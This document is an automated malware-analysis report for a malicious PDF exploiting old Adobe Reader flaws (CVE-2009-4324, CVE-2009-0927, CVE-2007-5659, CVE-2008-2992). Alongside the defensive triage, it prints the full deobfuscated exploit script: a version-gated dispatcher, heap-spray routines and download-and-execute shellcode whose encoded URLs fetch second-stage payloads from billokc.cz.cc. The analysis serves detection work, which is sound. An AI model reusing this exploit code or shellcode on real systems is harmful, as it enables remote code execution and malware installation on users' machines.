Malicious PDF — malware analysis report

Static analysis result for SHA-256 24e4548be69ad43c…

MALICIOUS

PDF

4.6 KB First seen: 2013-08-29
MD5: b9783d74ec9946144bc274a2b50eba0b SHA-1: 7abb55433c54f05ad17f677d58eadbf1a26a3612 SHA-256: 24e4548be69ad43cd9f0833c04a0bc06791a79a5e1fcbc2b493ee4770e15184b
450 Risk Score

Malware Insights

The PDF file was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. No specific URLs or hashes were extracted, and the document body was unreadable, limiting further analysis of the exact intent.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://billokc.cz.cc/load.php?sploit=PDF_newPlayer Referenced by PDF JavaScript
    • http://billokc.cz.cc/load.php?sploit=PDF_printfReferenced by PDF JavaScript
    • http://billokc.cz.cc/load.php?sploit=PDF_GetIconReferenced by PDF JavaScript
    • http://billokc.cz.cc/load.php?sploit=PDF_CollabReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xF98 93 bytes
SHA-256: 61b46047f90b888a00e497def64b956f6da2cb6e69e8905a21e0ba446aa10cd0
Preview script
First 1,000 lines of the extracted script
m1=this.info.gkds;m2=m1.replace(/zzzzz/g,"");m3=this.info.gggsd+"al";        app[m3](m2);
info_stride_js_000.js deobfuscated-js PDF /Info fields via stride 6 4729 bytes
SHA-256: 9120db21d719acc1151a9849d8f0f97c5fae788bf5fd560f0a45b13c574ca23a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function shcode(tVN)
{

DW4wE = "%u9090%u9090%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
return DW4wE+tVN;
}

function GDA() {
function DUOf()
{
var QF0="p@111111111111111111111111 : yyyy111";
util.printd(QF0, new Date());
}

var L5H1k=12000;
lCK=new Array();
var kwR = "%u9090%u9090";
var cvaHBV=shcode("%u7468%u7074%u2F3A%u622F%u6C69%u6F6C%u636B%u632E%u2E7A%u6363%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u6F6C%u7469%u503D%u4644%u6E5F%u7765%u6C50%u7961%u7265");
kwR=unescape(kwR);
cvaHBV=unescape(cvaHBV);

while(kwR.length <= 0x8000){kwR+=kwR;}
kwR=kwR.substr(0,0x8000 - cvaHBV.length);
for(BeA=0;BeA<L5H1k;BeA++) {lCK[BeA]=kwR + cvaHBV;}
if(L5H1k){DUOf();DUOf();try {this.media.newPlayer(null);} catch(e) {}DUOf();}
}

function zASORH() {

var HFC=unescape(shcode("%u7468%u7074%u2F3A%u622F%u6C69%u6F6C%u636B%u632E%u2E7A%u6363%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u6F6C%u7469%u503D%u4644%u705F%u6972%u746E%u0066"));

var AqqNW ="";
for (waqig=128;waqig>=0;--waqig) AqqNW += unescape("%u9090%u9090%u9090%u9090%u9090");
S7H = AqqNW + HFC;
vxh = unescape("%u9090%u9090");
CXvb = 20;
vIarq = CXvb+S7H.length;
while (vxh.length<vIarq) vxh+=vxh;
r95 = vxh.substring(0, vIarq);
EwAf = vxh.substring(0, vxh.length-vIarq);
while(EwAf.length+vIarq < 0x40000) EwAf = EwAf+EwAf+r95;
oWvG3w = new Array();
for (i=0;i<1400;i++) oWvG3w[i] = EwAf + S7H;

var fmVJi = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
util.printf("%45000f",fmVJi);
}

function irQjx() {

var x1wT=unescape(shcode("%u7468%u7074%u2F3A%u622F%u6C69%u6F6C%u636B%u632E%u2E7A%u6363%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u6F6C%u7469%u503D%u4644%u475F%u7465%u6349%u6E6F"));

EtXK = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + x1wT;
h3FoTx = unescape("%u9090%u9090"); 
CXvb = 10;
jdhd = CXvb+EtXK.length;

while (h3FoTx.length<jdhd) h3FoTx+=h3FoTx;
r95 = h3FoTx.substring(0, jdhd);
S76 = h3FoTx.substring(0, h3FoTx.length-jdhd);
while(S76.length+jdhd<0x40000) S76 = S76+S76+r95;
jLGx = new Array();
for (i=0;i<180;i++) jLGx[i] = S76 + EtXK;
var iqib = 4012;
var fYK = Array(iqib);
for (i=0; i<iqib; i++)
{
fYK[i] = unescape("%0a%0a%0a%0a");
}

Collab.getIcon(fYK+"_N.bundle");
}

function JWP7() {

function aOdwz(rtyk4e,AAlECh) {
while(rtyk4e.length*2<AAlECh) { rtyk4e+=rtyk4e; }
rtyk4e=rtyk4e.substring(0,AAlECh/2);
return rtyk4e; }
var cUW9C8=unescape(shcode("%u7468%u7074%u2F3A%u622F%u6C69%u6F6C%u636B%u632E%u2E7A%u6363%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u6F6C%u7469%u503D%u4644%u435F%u6C6F%u616C%u0062"));
var I42=new Array();
var QQnfP=0x0c0c0c0c;
var TJHD=0x400000;
var P4L6oZ=cUW9C8.length*2;
var AAlECh=TJHD-(P4L6oZ+0x38);
var rtyk4e=unescape("%u9090%u9090");
rtyk4e=aOdwz(rtyk4e,AAlECh);
var Ma817=(QQnfP-0x400000)/TJHD;
for(var WDn=0;WDn<Ma817;WDn++) {I42[WDn]=rtyk4e+cUW9C8; }
var Mobz=unescape("%u0c0c%u0c0c");
while(Mobz.length<44952) {Mobz+=Mobz; }
this.collabStore=Collab.collectEmailInfo( { subj:"",msg:Mobz } ); 

}

aPlugins = app.plugIns;
var Gefi=parseInt(app.viewerVersion.toString().charAt(0));
for (var kzKMvN=0; kzKMvN < aPlugins.length; kzKMvN++)
  {
    if (aPlugins[kzKMvN].name=="EScript")
      {
        var QCG=aPlugins[kzKMvN].version;
      }
  }  
if ((QCG==9)||((Gefi==8)&&(QCG<=8.12)))
  {
    irQjx();
  }
else if (QCG==7.1)
  {
    zASORH();
  }
else if (((Gefi==6)||(Gefi==7))&&(QCG<7.11))
  {
    JWP7();
  }
else if ((QCG >= 9.1) || (QCG <= 9.2) || (QCG >= 8.13) || (QCG <= 8.17))
  {
        GDA();
  }

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